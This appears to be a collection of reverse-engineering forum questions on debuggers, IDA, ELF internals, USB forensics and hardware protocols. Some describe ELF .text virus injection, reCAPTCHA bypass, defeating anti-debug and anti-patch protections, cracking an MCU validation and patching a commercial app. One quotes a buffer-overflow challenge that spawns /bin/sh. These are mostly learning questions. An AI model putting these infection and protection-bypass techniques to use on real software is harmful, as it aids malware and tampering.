问:
ELF .text infection test
I'm trying to implement an example of an ELF .text infection as described in "Learning Linux Binary Analysis". I'm currently having a problem where I successfully injected my data into the .text section, readelf displays no errors but the program terminates during startup.

My process so far is:

Increased sh_size of the .text section header by the size of the data I want to inject.

Shifted all sections after the .text section by the size of the injected data (Modifying sh_offset and sh_addr in section headers).

Find the program header where the .text section resides by checking p_type, p_flags, and p_offset; then increasing p_filesz and p_memsz by the size of injected data.

For all other program headers afterwards, add the size of the injected data to p_offset.

The entry point to the file has not been modified.

When I try to debug the resulting file in radare2, it outputs:

```<code>[0x7fd315665007]> aa
[Cannot find function 'entry0' at 0xffffffffff600530(aa)
[x] Analyze all flags starting with sym. and entry0 (aa)
[0x7fd315665007]>
</code>```

If I list the number of functions I see a lot are missing:

```<code>[0x7f05c7bff007]> afl
0xffffffffff600000    1 10           sym.imp..6
0xffffffffff600800    1 10           fcn.ffffffffff600800
[0x7f05c7bff007]>
</code>```

Compare to the original file:

```<code>[0x7f3700c6dea0]> afl
0x55daca36a000    3 73   -> 75   sym.imp.__libc_start_main
0x55daca36a4e8    3 23           sym._init
0x55daca36a510    1 6            sym.imp.puts
0x55daca36a520    1 6            fcn.55daca36a520
0x55daca36a530    1 43           entry0
0x55daca36a560    4 50   -> 40   sym.deregister_tm_clones
0x55daca36a5a0    4 66   -> 57   sym.register_tm_clones
0x55daca36a5f0    4 49           sym.__do_global_dtors_aux
0x55daca36a630    1 10           entry1.init
0x55daca36a63a    1 34           sym.main
0x55daca36a660    4 101          sym.__libc_csu_init
0x55daca36a6d0    1 2            sym.__libc_csu_fini
0x55daca36a6d4    1 9            sym._fini
0x55daca56afe0    1 1020         reloc.__libc_start_main
[0x7f3700c6dea0]>
</code>```

Listing the section headers using readelf also show that some sections are missing:

```<code>Segment Sections...
   00
   01     .interp
   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame
   03     .init_array .fini_array .dynamic .got .data
   04
   05     .note.gnu.build-id
   06
   07
   08     .init_array .fini_array .dynamic
</code>```

Compared to the original file:

```<code>Segment Sections...
   00
   01     .interp
   02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame
   03     .init_array .fini_array .dynamic .got .data .bss
   04     .dynamic
   05     .note.ABI-tag .note.gnu.build-id
   06     .eh_frame_hdr
   07
   08     .init_array .fini_array .dynamic .got
</code>```

I think there's a problem in the way the section headers are being moved, but I haven't found the problem.

UPDATE
I found a bug in the process which would edit a section/program header offset even if it was after the .text section. After fixing this, radare2 was able to find all functions including entry0. However, one function's name is different:

```<code>0x00000510    1 6            sym.imp.puts
</code>```

Becomes:

```<code>0x00000510    1 6            fcn.00000510
</code>```

this is clearly a call to the puts() functions. Maybe I need to modify an offset here as well.

The missing sections problem still happens even with the fix.

UPDATE 2
I found that the p_vaddr value of a program header also should be increased along with p_offset. This fixed the problem where sections would be missing from readelf -l. The resulting program will now successfully start but hits a segmentation fault at runtime.

UPDATE 3
I added procedures to update the .rel* sections by increasing the offsets of each rel by the virus size. This makes r2 list all of the function names correctly. The executable starts, but hits another segmentation fault at runtime.

Title: ELF .text infection test


问:
What is the link between g-recaptcha-response one time token and deciphered audio text?
They are multiple reports of recaptcha v2 bypass. Most of the time, the explanation is neural networks services provided by Google or ɪʙᴍ.

But there is something I am failing to understand : for most captcha (and including recaptcha v1) the manually deciphered text is sent directly to the server inside an ʜᴛᴛᴘ header. But with recaptcha v2, response sent to sever looks like :

```<code>g-recaptcha-response:03AJpayVEtSKNOXg7TJwMkmxzLA_HrnWMKm6p0ox6W6hhMcw3Bzxab8ariLgg8Q8wXpUcF8HLkhAd1ixXgNvBDde5ggVXidl3NuHSQcnP4QqJkVvWZ2s4_CQ1lHTw6oNEqXyiBuS3CkiHBhoB5akijJ6ld115K_OWZo6mfB4xz_-I2P36fVqT9VzEUz26wrauN9QZuC6lh80mf-fkxqCPmNYSOcMrHxR33Flby05gzo5cD1B-2FucaoFP11p2svvZrWC_vAjz5bGOzW0DufM2kkdtLIlhzl9GBzm_chyirSJItHGdz0bMuxDYZkRKY8c4gXUmzT09VEgivi032zZnNXtrVA04gXF5yE0tAtnGTwi31hMdzumPoc6GdLdIbvfbXgdyndocCLIph-j9T8ePf3JO8Jfcf6BNcmUKT2SrhZjIAPUOZV2Mg7Qua_s4zNHYx1-NE8zoe9SG-VxuPbx2sjR32ce4oapa6VA
</code>```

even with an audio to text sample. Whatever the method claimed to be used, I am still failing to understand the link between g-recaptcha-response http header and human created data.

Recreating the g-recaptcha-response one time token seems to be a requirement for all bypass methods.

So what is the link between the one time token and a deciphered audio text for example ?

ContentLicense: CC BY-SA 3.0


问:
Cannot debug some drivers with IDA
For some drivers I can use the following WinDBG command:

```<code>bu driver!DriverEntry
</code>```

However there are some drivers that cannot be debugged this way. IDA output window displays the following error message:

```<code>WaitForEvent() failed; please make sure that all unresolved bpts/expressions could be evaluated before continuing
</code>```

or breakpoint is completely ignored. This command does not help either:

```<code>sxe ld:driver
</code>```

I tried to replace the first byte of driver's DriverEntry code with CC opcode (int 3). After that virtual machine window silently closes.

Does anybody know how to break on DriverEntry of such driver? Thanks.

Title: Cannot debug some drivers with IDA


问:
Reading logs of commercial app and legality
Shortly, there is cheap chinese bluetooth lamp that can change colors by app on Android.

I am basically reading communication logs on my phone and retrieving communication protocols of the app. Then, I am writing my own app to connect to that lamp. I am not even using any reverse engineering tools. It is basic Android developer's tool set, which can be enabled on any phone.

I am writing my thesis based on this app. And as I see, it is uncommercial, interoperability aimed, use of reverse engineering. "Soft reverse engineering", if it is a thing :)

But my thesis supervisor has got super paranoid concerning the law, so now I have to dig into it...

Could you, please, drop me some sources with legal acts or similar court cases... I would really appreciate if you will write short explanation for me, because english is not even my second language, and I am getting dizzy from lawyers' vocabulary :^j

P.s.: the country is Finland, though Europe and even US laws and cases would also fit.


问:
Failed to set breakpoint (Anti-debug protection)
Sorry for my bad English in advance.

There is a program that has some protection. The problem is I can not set hardware and software breakpoints in x64dbg (to be more precise - not everywhere), cuz next action in program leading to crash. I use ScyllaHide plugin with almost all options enabled except special hooks.

However, there are some strange things. I can modify all code without exceptions I even don't need to stop all threads, but just to be sure that some code is not executed at patching time. So I can take necessary information by patching. It seems there is no CRC check. Also, protection does not have driver part.

Furthermore, in order to debug it i have to attach at special time (before the program is fully loaded). If I run the program under debugging or at any other time, then it crashes.

Could you give me any idea how does it detect a debugger?


问:
IDA sdk delete user struct member prevent creating gap
I have a problem using IDA SDK function del_struc_member(struc_t *sptr, ea_t offset) ,

If i use it on a member, it creates a gap[4] on the offset ( for dword type), it doesn't recalc the struct and it doesn't shrink it.

If i use another function from SDK, expand_struc(struc_t *sptr, ea_t offset, adiff_t delta, bool recalc=true); like so expand_struc(struc, 4, -4, true);

It does delete the member and shrink it, but it deletes other gap's that goes after (that are needed)plus it change the type of other members , for example:

before:

```<code>  int field_1204;
  _BYTE gap4B8[4];
  int field_1212;
</code>```

after:

```<code>  int field_1204;
  __declspec(align(8)) int field_1212;
</code>```

If i delete member manually by CTRL+E, it does shrink and doesn't create this problems with removing gap's.

What is correct way of removing a struct member and shrinking it ?
P.S.
Maybe i should set new type for all other gap's that are correct and only after that remove the member i don't need and shrink the struct . Or it would create same problems if its array ?

ContentLicense: CC BY-SA 4.0


问:
Java Bytecode edit

Hi, I would like to edit one compiled java class file & like to insert & edit a couple of lines. I'm trying to make a patch for a software & when I compare this two file the only change I have seen in line 12 & 26.

As I'm not a java coder so I don't know how to do that but I read some articles & it suggests that to change a compiled java class there is only two way either get the source code or edit with bytecode editor. I tried to decompile the jar file but it shows huge error. So java byte editor is the only option.

I want to know how to change these parameters without decompiling the class file in java byte editor.

Please help me.

Title: Java Bytecode edit


问:
Hook function in Linux SO file
I'm working on reverse engineering an Android application where the native code opens TLS connections using a built-in copy of mbedtls with certificate pinning. I'd like to decrypt that traffic and log it.

Normally, I would use LD_PRELOAD. In this case I cannot because mbedtls is embedded in the same dynamic library it is being called from, so traditional PLT/GOT hookers won't do.

Title: Hook function in Linux SO file


问:
Reverse engineering IE thick client
Internet Explorer allows for creating thick clients that run in the browser via a Browser Helper Object (BHO).

In trying to reverse one such thick client I noticed that the website downloads about fifteen DLL files making it difficult to discern where the entry point is.

Since the files were written in .NET they were (mostly) decompiled by using dotPeek

What are some steps that can be taken to help narrow down the entry point - and possibly to debug certain actions? Also, is there another tool that would prove more useful in decompiling .NET dll's?

Title: Reverse engineering IE thick client


问:
Threads blocking in kernel when I attach, can't control them
I'm attaching to a simple program and the new thread breaks at DbgBreakPoint as expected. I'm using x64dbg (32-bit). The problem is, when I go to the Threads window it shows all the threads' EIPs as being within ntdll. If I click on a thread and switch to it it shows in the disassembly that EIP is on the line after calling into WOW64 (syscall). If I put a break on that line and run nothing happens.

What's going on here? How can I switch to a thread and continue single-stepping from where its EIP is actually at?

It doesn't seem to make sense that all the threads would be blocked in the kernel, because this always happens every time I attach, no matter when. It makes no difference whether I suspend the threads or not. On the other hand, if I just put an infinite loop in and then attach, I'm able to gain control at the infinite loop as expected. I guess that must mean that the threads actually are blocking. But why?

What can I do to regain control over the threads considering how I can't just break on the line after the transition to WOW64 (that is, where the kernel returns from the blocking call, back in the 32-bit code)?


问:
Prevent windbg from context switching when stepping into assembly instructions
When I'm using Windbg (in kernel mode) to step into assembly, I would encounter context switching once in a while - which is annoying.

So, for example, I placed a breakpoint for a process - let's call it A.exe using bp /1 /p <EPROCESS OF A> nt!NtDeviceIoControlFile. A runs, hits the breakpoint and as I am stepping into the assembly, sometimes, the context switches - so the current process, instead of A, becomes B.

Is there anyway to prevent this from happening?


问:
how can i get real hex values of vdso outputs
I'm trying to get an algorithm in a program but i can't see the hex codes.
At the moment i break all debug checks it fully debugging but i can't see how it creates the request.


问:
Hidden Features of a USB RFID Reader
I recently bought a KKmoon Portable RFID 125KHz Proximity Smart EM Card USB ID Reader from Amazon. I'm not currently able to locate a datasheet for the device. It reads tag IDs and prints them in plaintext over USB (presumably as keyboard input). The benefit of this device is that it's cheap and it works (as claimed) on multiple platforms including Android, which is a plus for me.

My question is how to figure out what sort of hidden features and "modes" (especially) are available for this device? For example, I would assume that the underlying hardware is able to sniff all communications on the 125 kHz channel. How would I go about getting the device to print all of this information over USB in whatever format it comes in? I'm thinking along the lines of turning the capabilities of this reader into a Chameleon-like sniffer device for the 125 kHz spectrum.

dmesg | tail lists the following:

```<code>[943853.964234] hidraw: raw HID events driver (C) Jiri Kosina
[943853.976407] usbcore: registered new interface driver usbhid
[943853.976409] usbhid: USB HID core driver
[943853.982645] input: Sycreader RFID Technology Co., Ltd SYC ID&IC USB Reader as /devices/pci0000:00/0000:00:14.0/usb3/3-2/3-2:1.0/0003:08FF:0009.0001/input/input17
[943854.042578] hid-generic 0003:08FF:0009.0001: input,hidraw0: USB HID v1.10 Keyboard [Sycreader RFID Technology Co., Ltd SYC ID&IC USB Reader] on usb-0000:00:14.0-2/input0
</code>```

and the relevant output from lsusb is:
Bus 003 Device 002: ID 08ff:0009 AuthenTec, Inc.

I can write C / kernel code that will enumerate the ioctl's of the device if this would be useful. Can someone please pass on some pointers about the reverse engineering aspects of this project? Many thanks.

Title: Hidden Features of a USB RFID Reader


问:
Decompiling DotNet2JScript malware?
I've got a .NET malware sample that was transpiled to JScript using DotNet2JScript. The .NET malware assembly was serialized to binary form using BinaryFormatter and then embedded into the JScript source code. How can I transform the serialized malware assembly back to PE-file, so I can analyze it using dnSpy and similar tools? Or is there any tool that can parse metadata from serialized assemblies? Thanks!</p>

Title: Decompiling DotNet2JScript malware?


问:
Decompiling or modifying .exe file generated from .jar
I have one .exe file which is generated from .jar file but I'm not sure how it was made. I cannot open it with winrar or something. I need to modify it or just to decompile it. Any answer should be helpful.


问:
Are there tools or plugins for IDA Pro that can find ELF sections?
I'm trying to use data from one ELF to build another ELF, but I can't seem to find anything that gets what I need using IDA Pro. I'm trying to build a database out of Sections, Symbols, and Cross-references. I know radare can do it, but I'm trying to get it done in IDA. I just can't seem to find many metadata exporting scripts or plugins asides from what's in IDAPython, but that doesn't seem to accomplish what I want it too.</p>


问:
Getting R6034 error message when starting IDA Pro
I have installed Anaconda on Windows to replace standalone Python installation that was used by the IDA Pro. I have confirmed that all relevant environment variables and register keys were set to point to the Anaconda instead of c:\python27-x64. However after that IDA Pro failed to load my plugins (complaining that it can't find certain libraries). What helped to resolved this problem was deleting python27.dll from c:\Windows\System32.

After deleting python27.dll, IDA Pro was able to load IDAPython plugins, they in turn were able to find libraries located in Anaconda directory and everything seemed to be working fine with the built-in Python console. However it started to give me R6034 error message each time I am launching IDA Pro, saying "An application has made an attempt to load the C runtime library incorrectly".

Currently I don't see any side effects of getting this error message except that I was unable to install QT console (https://github.com/james91b/ida_ipython) following the procedure outlined there, which makes me think that the error message may be somehow preventing me from installing it.

Copying python27.dll from Anaconda folder into c:\Windows\System32 doesn't help to remove the error message. What can be done to resolve it?


问:
Movies Anywhere ID?
I'm looking to automate requesting movies from different retailers on Movies Anywhere. The URL for the request is: https://retailer.moviesanywhere.com/api/purchase/initiate?retailer={retailer}&id={id}&redirectURI=https%3A%2F%2Fmoviesanywhere.com%2Fmovie%2F{slug}

If you replace {retailer} with VUD, {id} with 10.5240/870D-6EC1-415D-4FDC-B5DC-T, and {slug} with the-incredibles you'll be be redirected to The Incredibles on Vudu.

Here is a list of all retailers and their ids for The Incredibles:

VUD = 10.5240/870D-6EC1-415D-4FDC-B5DC-T

GOO = 105240870D6EC1415D4FDCB5DCT

APL = 88702939

AMZ = 10.5240/870D-6EC1-415D-4FDC-B5DC-T

FAN = 10.5240/870D-6EC1-415D-4FDC-B5DC-T

The problem is, I can't figure out how to find when these are gotten by Movies Anywhere. I tried setting a breakpoint on the click event and stepping through the JavaScript but I'm not getting anywhere. Does anyone know how to get this ID when clicking the Buy button for each retailer?

Title: Movies Anywhere ID?


问:
Identifying a USB device for a forensics CTF challenge (with no GET DESCRIPTOR)
I'm currently enjoying a forensics CTF challenge. We were provided a PCAPNG file. When opened in Wireshark, the file contains a sequence of URB_INTERRUPT packets from two devices - but no GET_DESCRIPTOR info that identifies either device.

The first device give a sequence of 8-bit data like this:

```<code>00:00:00:00:00:00:00:00
00:00:04:00:00:00:00:00
00:00:04:15:00:00:00:00
00:00:00:15:00:00:00:00
00:00:08:15:00:00:00:00
00:00:08:00:00:00:00:00
00:00:00:00:00:00:00:00
02:00:00:00:00:00:00:00
02:00:2d:00:00:00:00:00
00:00:2d:00:00:00:00:00
</code>```

Guessing that this was a keyboard, I decoded the sequence to this message:

```<code>scanlines-are-real-cool-guys
</code>```

Which seems like a hint, right? The second (much longer) sequence of URB_INTERRUPT packets from the second device is 7-bit data like this:

```<code>01:00:01:00:02:00:00
01:00:00:00:02:00:00
01:00:00:00:01:00:00
01:00:00:00:02:00:00
01:00:01:00:01:00:00
01:00:01:00:02:00:00
01:00:00:00:02:00:00
01:00:01:00:01:00:00
01:00:01:00:00:00:00
01:00:00:00:01:00:00
01:00:ff:ff:01:00:00
01:00:fe:ff:00:00:00
01:00:ff:ff:00:00:00
01:00:ff:ff:00:00:00
01:00:ff:ff:ff:ff:00
01:00:ff:ff:ff:ff:00
01:00:ff:ff:ff:ff:00
01:00:ff:ff:ff:ff:00
</code>```

I guessed that this could be a mouse - even though most mouse data seem to  only contain 4 bits, based on the fact that:

Only two of the bits seem to change in any significant way - all other bits seem to only ever be 00, 01, or ff - thus potentially being the x and y coordinates

The variable data stays in between 0 and 255

Mice and keyboards seem to be the most common devices using URB_INTERRUPT

Acting on that guess, I sent the data through AWK:

```<code>awk -F: 'function comp(v){if(v>127)v-=256;return v}{x+=comp(strtonum("0x"$3));y+=comp(strtonum("0x"$5))}$1=="01"{print x,y}' hexoutput_second-part.txt > mouse1.txt
</code>```

And then through GNUPLOT - hoping to get a traced message or something from an on-screen keyboard. But no luck - the plot ends up as:

Not especially helpful.

So my question is - how would I go tracking down what other devices could be sending 7 bit URB_INTERRUPT data? What is the best way to attack this identification process?

Thank you!


问:
Compression algorithm working with bitstream
I'm trying to reverse decompression algorithm for one of old games. After some reversing I found that it reads bit stream, not byte by byte. It looks like this:

```<code>std::vector<uint32_t> TABLE_1 = {0x10, 0x11, 0x12, 0, 8, 7, 9, 6, 0x0A, 5, 0x0B, 4, 0x0C, 3, 0x0D, 2, 0x0E, 1, 0x0F};

uint32_t f1()
{
    if (_stream_end < 5)
    {
        read_to_stream();
    }

    uint32_t v1 = read_from_stream(0x1F, 5) + 0x101;
    std::cout << "f1:: v1 = " << v1 << std::endl;

    if (_stream_end < 5)
    {
        read_to_stream();
    }

    uint32_t v2 = read_from_stream(0x1F, 5) + 1;
    std::cout << "f1:: v2 = " << v2 << std::endl;

    if (_stream_end < 4)
    {
        read_to_stream();
    }

    uint32_t v3 = read_from_stream(0xF, 4) + 4;
    std::cout << "f1:: v3 = " << v3 << std::endl;

    if (v1 > 0x11E || v2 > 0x1E)
    {
        std::cout << "f1:: v1 or v2 is above limit" << std::endl;
        return 1;
    }

    std::vector<uint32_t> v4(19, 0);

    if (v3 != 0)
    {
        for (uint32_t i = 0; i < v3; i++)
        {
            if (_stream_end < 3)
            {
                read_to_stream();
            }
            v4[TABLE_1[i]] = read_from_stream(0x7, 3);
        }

        std::cout << "v4 = [ ";
        for (auto &item : v4)
        {
            std::cout << item << " ";
        }
        std::cout << "]" << std::endl;
    }

    // rest of the code
}

uint32_t begin(uint32_t *value)
{
    if (_stream_end == 0)
    {
        read_to_stream();
    }

    *value = read_from_stream(0x1, 1);

    uint32_t result = read_from_stream(0x3, 2);

    if (result == 2)
    {
        f1();
    }

    if (result == 1)
    {
        // execute subroutine
    }

    if (result == 0)
    {
        // execute subroutine
    }

    // rest of code
}

uint32_t read_from_stream(uint32_t mask, uint32_t count)
{

    uint32_t result = _stream & mask;

    _stream = _stream >> count;
    _stream_end -= count;

    return result;
}

void read_to_stream()
{
    uint32_t byte = static_cast<uint32_t>(read_byte() & 0xFF);
    _stream = _stream | (byte << _stream_end);
    _stream_end += 8;
}

char read_byte()
{
    if (_buffer_cursor == _buffer.size())
    {
        throw new std::runtime_error("read_byte");
    }

    return _buffer[_buffer_cursor++];
}
</code>```

Also I found that it uses two buffers: A (32768 bytes) and B (4096 bytes). First it fills in A buffer and after that uses it to fill in B buffer. From B buffer it copies data to output buffer so I guess it is uncompressed at this step.
Maybe you could tell me what algorithms uses same kind of decompression.

Here are some other tables from that code.

```<code>byte_5E00E8     db 8 dup(0), 1, 0, 1, 0, 2, 0, 2, 0, 3, 0, 3, 0, 4, 0
                db 4, 0, 5, 0, 5, 0, 6, 0, 6, 0, 7, 0, 7, 0, 8, 0, 8, 0
                db 9, 0, 9, 0, 0Ah, 0, 0Ah, 0, 0Bh, 0, 0Bh, 0, 0Ch, 0
                db 0Ch, 0, 0Dh, 0, 0Dh, 0

word_5E00AC     dw 1, 2, 3, 4, 5, 7, 9, 0Dh, 11h, 19h, 21h, 31h, 41h, 61h
                dw 81h, 0C1h, 101h, 181h, 201h, 301h, 401h, 601h, 801h
                dw 0C01h, 1001h, 1801h, 2001h, 3001h, 4001h, 6001h
</code>```

This two tables used together in one of functions (hard to reverse because it is a bit long and complicates). I may be wrong in mu suggestions because I'm not a reverse engineering specialist.

Here are two files: https://www.dropbox.com/s/4km2rjmfwi2dw1e/Archive.zip?dl=0

Update.

Guys, I checked one of previous developer's game (with source code published) and found that they used same library for compression (library link).

I think question does not make any sense now but let's keep it here for history.


问:
How to make sense of this one pin serial communication
I am trying to reverse engineer a serial communication between to microcontrollers (1 device & 1 microcontroller on a board). One MCU validates the other MCU and I want to crack the validation and mimic the validated MCU. I want to find out what protocol is being used to make sense of the data. I have captured the communication with a logic analyzer and here is a screenshot from PulseView:

PulseView has decoding function but I don't know where to begin. The communication happens via 1 wire only. But I am not sure if the protocol is "one-wire". Are there any known standard methods to identify an unknown communication protocol? Or do I have to identify it by simply looking at it?

I wrote a script to convert the data into times required to change from one state to another (high-to-low or low-to-high) to compare repeated measurements and absence of the validated MCU. Each time the patterns look slightly different. It would have been great to know to decode this into byte array or whatever is intended for.

PS: smallest time required for a change is 30μs as seen at the 3rd row on the image (120μs = 4 states).

Thanks!


问:
Reverse engineering Nord Lead 4 control board
I am reverse engineering a synthesizer named nord lead 4.
I want to tap in between the control board and mainboard which has the microprocessor.

I didn't start analyzing the signals on the board while it's powered on. I've just been mapping the routes between ICs and familiarizing myself with them.

I figured out the meaning of all the pins on the 26 pin cable between the control board. It has pins for the potentiometers two leg switches, seven segment displays, and others.

This board also has several ICs that I am interested in. 3 ADCs (max1039), a mux/demux(hc4052), 2 octal bus transceivers(lc245a), and 6 flipflop ICs(hct374) which are probably used for the seven segment displays, and one demux(lvc138a).

I also figured out all the selects and connection between the ADCs and the mux/demux hc4052. This is most of everything I currently know about the topology.

My question is about the switches. There are around 34 switches in this control board(ones you press with your finger, they are momentary switches). They have two legs, which are electrically connected only when you're pressing the switches.

These switches are distributed to 8 buses of the octal transceiver(lc245a) and as well as the microprocessor. So multiple switches are on the same bus.
Do you have an idea how this machine reads them and know which is which?

I'm trying to figure out how to determine which switches are which on the bus.

Thank you very much
Please tell me if you need more info.


问:
IDAPRO from command line interface: Exporting IDB file to BINEXPORT file
I'm trying to convert my IDB files to BINEXPORT files using the following command that has been advised in many similar questions:

```<code>    "<path-to-idaq.exe>" -A -OExporterModule:<result-directory> -S"<path-to-export-script>" "<path-to-idb>"
</code>```

However, I get 4 files in return(ID0, ID1, NAM, TIL files) and no BINEXPORT file. Am I on the right path?

(Edit: I moved my .idb, idc and batch file to another directory and now my .idb file is being rewritten each time I launch the command instead...)

I think my  file which is a .idc is correct:

```<code>    #include <idc.idc>

    static main()
    {
         Batch(0);
        Wait();
        Exit(1 - RunPlugin("zynamics_binexport_8", 2));
    }
</code>```


问:
Hopper: What does stack[xxxx] mean?
When using the 'decompiler' tool in Hopper on the start function of an application it shows this:

What does the stack[2043] mean, is it 2043 bytes from the top of high memory and its assigning it to the stack?

Here is what the assembly looks like for the same function:

Title: Hopper: What does stack[xxxx] mean?


问:
Radare -Q leaking, and does it even matter?
As a follow up to a self-answered question where I discovered -q and -Q

Radare -Q is documented as,

-Q quiet mode (no prompt) and quit faster (quickLeak=true)

man radare2 shows,

-Q Same as -q, but exiting without freeing RCore, this produces leaks at exit time, but saves some precious ms to run the testsuite in fast mode.

Does not freeing RCore just mean that kernel does it for you when the processes terminates? Why would this even matter? Is there a downside to an app leaking on termination?


问:
How to reverse a java thread to get its origin
I was working on a java application which is run for the first couple of minutes & then application interface hangs. I had open the application in JMC & it shows  later I create a thread dump to know more detail of the thread & it shows that most blocked count is java.lang.StringBuilder

```<code>Thread-1 - priority:5 - threadId:0x0000000018392800 - nativeId:0x2de0 - state:WAITING
stackTrace:
java.lang.Thread.State: WAITING (on object monitor)
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:502)
at com.sun.glass.ui.InvokeLaterDispatcher.run(InvokeLaterDispatcher.java:126)
- locked <0x00000000a1d65960> (a java.lang.StringBuilder)
Locked ownable synchronizers:
- None
</code>```

My question is how can I be able to know for which class file the error is happening. Note: I don't have the source code of the application.
Thread dump link - Link


问:
How to hook into OpenSSL shared library?
To preface, I am not a well-versed developer in the whole business of reverse engineering or even most basic programming. This is a project I made with the goal of attempting to replicate an existing connection.

Essentially, there is an application that will send server requests that I wish to snoop on and replicate. However, I've tried using Fiddler, Wireshark and a number of other network sniffing applications to try to intercept these packets, but nothing shows up. I was tipped off that it may be useful to try to "hook" into the SSL_read and SSL_write functions as the application makes use of the OpenSSL library. However, I have no idea how to do that.

The dll in question is libssl-1_1.dll. When I attempted to look up how to hook into it, I found a bunch of results where the user could compile a C file to hook into it. I found another developer had used EasyHook to do so, but I have no idea how to generate the files to do so. I would appreciate any assistance in this matter, especially if it's something I can easily follow.


问:
Dump c++ class definitions from .exe + .pdb on windows
Is there any way to dump C++ class definitions on windows if executable and PDB files are available. I've seen this done before using gdb but haven't had any luck doing this on windows. I've tried disassembling executable in free version of IDA but structures tab doesn't show any classes.

EDIT:

I found this tool, but it only works for C structs: https://github.com/wbenny/pdbex


问:
Patching an ipa (iPhone app) using Hopper Disassembler
I have learned in the past to patch some iOS apps to bypass jailbreak detection. Today, I decided to change the UI elements in the Spotify app on iOS Platform (ios 11). I downloaded a .ipa file of Spotify and opened the executable using Hopper Disassembler v3. Can anyone experienced tell me which functions I should modify and resources that will help me identify other functions in the assembly code (64 bit)?</p>


问:
more memory allocated on the stack than seems to be needed
Im working on the bof challange in http://pwnable.kr/play.php.
the source code has a function func:

```<code>void func(int key){
   char overflowme[32];
   printf("overflow me : ");
   gets(overflowme);    // smash me!
   if(key == 0xcafebabe){
       system("/bin/sh");
   }
   else{
       printf("Nah..\n");
   }
}
</code>```

when disassembling, it starts like this:

```<code>0000062c <func>:
62c:    55                      push   %ebp
62d:    89 e5                   mov    %esp,%ebp
62f:    83 ec 48                sub    $0x48,%esp
632:    65 a1 14 00 00 00       mov    %gs:0x14,%eax
638:    89 45 f4                mov    %eax,-0xc(%ebp)
63b:    31 c0                   xor    %eax,%eax
63d:    c7 04 24 8c 07 00 00    movl   $0x78c,(%esp)
644:    e8 fc ff ff ff          call   645 <func+0x19>
649:    8d 45 d4                lea    -0x2c(%ebp),%eax
64c:    89 04 24                mov    %eax,(%esp)
64f:    e8 fc ff ff ff          call   650 <func+0x24>
654:    81 7d 08 be ba fe ca    cmpl   $0xcafebabe,0x8(%ebp)
        ...
</code>```

the overflowme buffer is 32 byte , but instruction 62f allocates 0x48=72 bytes on the stack, why does it allocates much more memory than it seems to need ?


问:
radare2 not showing function names
I'm using radare2 and I've noticed that it simply prints function offsets rather than function names.

I've done some tests and I've discovered that on Kali it prints offsets and on debian it prints names.

Here you can see how r2 behaves in Kali:

It is, for example, printing call 0x4ce645 insted of call reloc.puts_WhatEver. When I inspect ELF properties, I can see that function names are indeed located at that offset.

I don't really know what is making r2 behave that way. Here is some info about Kali environment I'm using.

On the other hand, when using r2 on Debian and debugging the exact same file I can prefectly see function names.

Here is some info about Debian environment I'm using.

The file I'm debugging in both Kali and Debian is exactly the same.

How could I get r2 to behave in Kali exactly the same way it is behaving in Debian?

Title: radare2 not showing function names


Title: Why is vdso remapped after setting stack space to unlimited?

Body:
On my Ubuntu 16.04, 64 bit the default stack size is 8192 bytes. If I set it to unlimited, seems like the vdso is remapped to a completely different memory region.

```<code>$ ulimit -s
8192

$ cat /proc/`pgrep ascii`/maps
08048000-080ed000 r-xp 00000000 08:03 7736874                            /home/sherlock/ascii
080ed000-080ef000 rw-p 000a5000 08:03 7736874                            /home/sherlock/ascii
080ef000-080f1000 rw-p 00000000 00:00 0
09803000-09825000 rw-p 00000000 00:00 0                                  [heap]
80000000-80001000 rwxp 00000000 00:00 0
f7f74000-f7f76000 rw-p 00000000 00:00 0
f7f76000-f7f79000 r--p 00000000 00:00 0                                  [vvar]
f7f79000-f7f7b000 r-xp 00000000 00:00 0                                  [vdso]
ff86f000-ff891000 rw-p 00000000 00:00 0                                  [stack]

$ ulimit -s unlimited

$ ulimit -s
unlimited

$ cat /proc/`pgrep ascii`/maps
08048000-080ed000 r-xp 00000000 08:03 7736874                            /home/sherlock/ascii
080ed000-080ef000 rw-p 000a5000 08:03 7736874                            /home/sherlock/ascii
080ef000-080f1000 rw-p 00000000 00:00 0
0988a000-098ac000 rw-p 00000000 00:00 0                                  [heap]
2aa35000-2aa37000 rw-p 00000000 00:00 0
2aa37000-2aa3a000 r--p 00000000 00:00 0                                  [vvar]
2aa3a000-2aa3c000 r-xp 00000000 00:00 0                                  [vdso]
80000000-80001000 rwxp 00000000 00:00 0
ffed3000-ffef5000 rw-p 00000000 00:00 0                                  [stack]
</code>```

Can anyone explain this behavior?


问:
Ignore some locations in Windbg Conditional breakpoints
I'm trying to set a conditional hardware breakpoint on Windows Kernel-Mode in Windbg by using the following syntax :

```<code>ba w1 ffff802312345678 "j(@rip==ffff802387654321 || @rip==ffff802387654330) 'gc';''"
</code>```

I used the above command in order to ignore every access to my target location (ffff802312345678) from ffff802387654321 or ffff802387654330, so everytime access from somewhere else is taken, then I would be notified.

But the problem is, it still breaks on ffff802387654321 or  ffff802387654330 among the other locations.

I also read it's official documents about "Conditional Breakpoints and Register Sign Extension" and also test something like this:

```<code>ba w1 ffff802312345678 "j((@rip & 0xffffffffffffffff)=ffff802387654321 || (@rip & 0xffffffffffffffff)=ffff802387654330) 'gc';''"
</code>```

But it still won't work.

So my question is:

What's wrong with the above command and how can I achieve the desired
result ?


问:
How to solve anti-patch protection involving NtContinue?
I'm having an issue when trying to patch an application. If I open the .exe application with x64dbg, it first goes through ntdll.dll and then runs the application module. It works fine as long as I don't "touch" the application module code. As soon as I apply any kind of patch, even something as simple as adding a "nop" instruction, I can no longer run the application (it terminates immediately).

When I try to debug, I notice that the execution doesn't even reach the application and stays within the ntdll.dll module. It loops 14 times between these 3 lines and the program terminates on the call to NtContinue (aka ZwContinue):

```<code>00007FFA616C2FCE | B2 01       | mov dl,1
00007FFA616C2FD0 | 48:8BCB     | mov rcx,rbx
00007FFA616C2FD3 | E8 28770200 | call <ntdll.NtContinue>
</code>```

I've read that some anti-attach methods leverage the NtContinue function but in my case it's not really an attachment problem since I can debug without any issue until I patch the application. If anything it is rather an anti-patching trick...

